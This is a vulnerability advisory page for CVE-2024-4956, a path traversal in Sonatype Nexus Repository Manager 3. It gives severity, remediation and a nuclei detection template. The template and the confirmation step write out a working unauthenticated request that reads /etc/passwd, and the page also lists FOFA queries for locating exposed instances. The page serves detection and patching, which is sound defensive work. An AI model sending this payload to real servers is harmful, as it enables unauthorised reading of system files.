CVE-2024-4956· sonatype / nexus· CWE-22
Sonatype Nexus Repository Manager 3 - Local File Inclusion
highseverity
7.5CVSS score
19.2%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.
Impact
Unauthenticated attackers can read arbitrary system files via path traversal in Sonatype Nexus Repository.
Fix
Update Sonatype Nexus Repository 3 to version 3.68.1 or later.
How to confirm it
Send: GET {{BaseURL}}/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Positive when: regex('root:.*:0:0:', body) and contains(header, "application/octet-stream") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-4956 -u <target>
The full check
id: CVE-2024-4956
info:
name: Sonatype Nexus Repository Manager 3 - Local File Inclusion
author: ritikchaddha
severity: high
description: |
Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.
impact: |
Unauthenticated attackers can read arbitrary system files via path traversal in Sonatype Nexus Repository.
remediation: |
Update Sonatype Nexus Repository 3 to version 3.68.1 or later.
reference:
- https://x.com/phithon_xg/status/1793517567560335428?s=46&t=GMMfJwV8rhJHdcj2TUympg
- https://nvd.nist.gov/vuln/detail/CVE-2024-4956
- https://support.sonatype.com/hc/en-us/articles/29416509323923
- https://github.com/fkie-cad/nvd-json-data-feeds
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-4956
cwe-id: CWE-22
epss-score: 0.19154
epss-percentile: 0.97348
cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: sonatype
product: nexus
fofa-query:
- title="Nexus Repository Manager"
- title="nexus repository manager"
tags: cve,cve2024,nexus,lfi,sonatype,vuln,vkev
http:
- method: GET
path:
- "{{BaseURL}}/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
matchers:
- type: dsl
dsl:
- regex('root:.*:0:0:', body)
- contains(header, "application/octet-stream")
- status_code == 200
condition: andReferences
- https://x.com/phithon_xg/status/1793517567560335428?s=46&t=GMMfJwV8rhJHdcj2TUympg
- https://nvd.nist.gov/vuln/detail/CVE-2024-4956
- https://support.sonatype.com/hc/en-us/articles/29416509323923
- https://github.com/fkie-cad/nvd-json-data-feeds
Use this check only on systems you are authorised to test. Where the data comes from